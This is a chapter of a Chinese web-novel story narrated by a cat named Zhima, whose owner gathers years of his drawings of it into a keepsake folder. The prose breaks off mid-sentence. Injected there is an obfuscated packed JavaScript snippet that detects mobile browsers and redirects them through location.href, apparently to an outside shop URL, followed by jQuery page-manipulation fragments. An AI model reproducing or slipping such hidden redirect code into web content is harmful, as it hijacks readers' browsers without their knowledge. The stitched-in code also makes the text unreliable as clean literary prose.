发现那个东西，是在一个普通的午后。
他正在工作间里对着电脑，我照例趴在他脚边打盹。
半睡半醒间，我听到他站起来，走到书架旁边，翻找什么东西。
纸张的窸窣声，盒子的开合声，然后是一阵长长的沉默。
我睁开眼睛，抬头看他。
他站在书架前，手里拿着一叠纸，正在一张张翻看。他的表情很专注，嘴角带着一丝我看不懂的笑意。我站起来，走到他脚边，用头蹭蹭他的裤腿。
他低头看我，然后蹲下来，把那些纸摊在地上。
“芝麻，过来看。”
我凑过去，看着那些纸。纸上画着各种各样的线条和色块，有些我能看懂——那是猫的轮廓，猫的姿态，猫的眼睛。有些我看不懂——那是背景，是光影，是一些抽象的形状。
“这是我画的，”他说，“这几年画的。”
画。我见过他画画。有时候是工作间隙，有时候是周末的下午，他会拿出铅笔和纸，在上面涂抹。但我从没认真看过那些画的内容。
现在我知道了——他画的都是我。
第一张，是一只蜷缩在纸箱里的小猫，眼神警惕，耳朵向后贴着。那是刚来这个家不久的我，对一切充满戒备。
第二张，是蹲在窗台上看外面的我，尾巴垂下来，姿态放松了很多。
第三张，是趴在沙发上打盹的我，肚皮朝上，四仰八叉。
第四张，是追逗猫棒的我，身体拉长，爪子前伸。
第五张，第六张，第七张……
一张一张翻过去，我看到自己从一只警惕的小猫，慢慢变成这个家里最自在的成员。我看到自己的姿态越来越放松，眼神越来越温和。我看到阳光在不同的画里变换角度，看到季节的更替在背景里悄悄发生。
“这是你刚来的时候，”他指着一张画说，“那时候你瘦瘦的，总躲在沙发底下。”
这是第一次健康检查后，你缩在航空箱里。”
这是第一次看到雪，你趴在窗台上，看了整整一个下午。”
这是去年夏天，你热得摊在地板上，像一滩水。”
每一张画，都对应着一个记忆。那些我以为只有我记得的瞬间，原来他都用画笔记录了下来。
我抬头看他。他的眼睛里有光在闪烁。
“我想把这些画整理一下，”他说，“也许可以做成一本小书。”
小书？我不懂什么是“小书”，但我知道，这意味着这些画会被收集起来，被保存下来，成为某种可以长久存在的东西。
那天晚上，他把所有画都摊在客厅的地板上，一张一张地看，一张一张地分类。他的母亲也蹲在旁边，帮他一起整理。
“这张好，这张神态抓得准，”她说，“这张光线好，这张角度特别……”
我在他们之间走来走去，偶尔用爪子碰碰某张画，好像在参与挑选。
“芝麻说这张不错，”他笑了，“那就留着。”
整理工作持续了好几天。最后，那些画被装进了一个大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420587|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文件夹里，封面上写着几个字——《芝麻》。
他把我抱起来，让我看看那个文件夹。
“这是给你的，”他说，“也是给我的。这是我们共同的记忆。”
共同的记忆。是的，这些画里，不仅有我，还有他的目光，他的手，他的心。每一笔都是他眼中的我，每一幅都是我们共同度过的时光。
后来的日子里，那个文件夹被放在书架上，随时可以取出来看。有时候他会拿出来，翻一翻，然后摸摸我的头。有时候我自己也会跳上书架旁边的椅子，用爪子碰碰那个文件夹，好像在确认它还在。
有一天，一个陌生人来到家里——是他的朋友，也是个喜欢画画的人。他把那个文件夹拿出来给朋友看，朋友一页页翻着，眼睛里满是惊讶。
“画得真好，”朋友说，“你画的不是猫，是陪伴。”
他点点头：“嗯，芝麻陪我走过了很多年。”
很多年。是啊，从那个雨夜的纸箱到现在，已经过去了很多年。那些年都在这些画里，一笔一笔，一页一页，凝固成不会褪色的记忆。
那天晚上，朋友走后，他坐在沙发上，把我抱到腿上。他沉默了很久，然后轻轻说：
“芝麻，谢谢你愿意让我画你。”
我发出呼噜声。其实不用谢。能被你画，是我的荣幸。
那些画，是你看我的方式。而能被你这样看着，能被你这样记住，能被你这样变成纸上的永恒——
这是一只猫，能收到的最好的礼物。